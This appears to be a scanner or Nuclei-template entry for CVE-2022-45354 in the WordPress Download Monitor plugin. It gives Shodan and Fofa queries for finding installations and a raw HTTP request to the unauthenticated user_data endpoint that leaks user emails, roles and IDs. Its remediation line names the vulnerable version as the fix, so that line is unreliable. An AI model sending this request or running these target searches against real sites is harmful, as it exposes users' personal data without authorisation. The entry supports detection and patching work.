| Title | Download Monitor <= 4.7.60 - Sensitive Information Exposure |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks or unauthorized access. |
| Remediation | Update to the latest version of the Download Monitor plugin (4.7.60) or apply the provided patch to fix the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.88324 |
| CVE ID | CVE-2022-45354 |
| Shodan Query | html:"/wp-content/plugins/download-monitor/"http.html:"/wp-content/plugins/download-monitor/" |
| Fofa Query | body="/wp-content/plugins/download-monitor/" |
| Tags | cve cve2022 wordpress wp-plugin download-monitor wp wpchill vkev vuln |
The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)
GET /wp-json/download-monitor/v1/user_data HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45354.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-45354.pcap
N/AN/A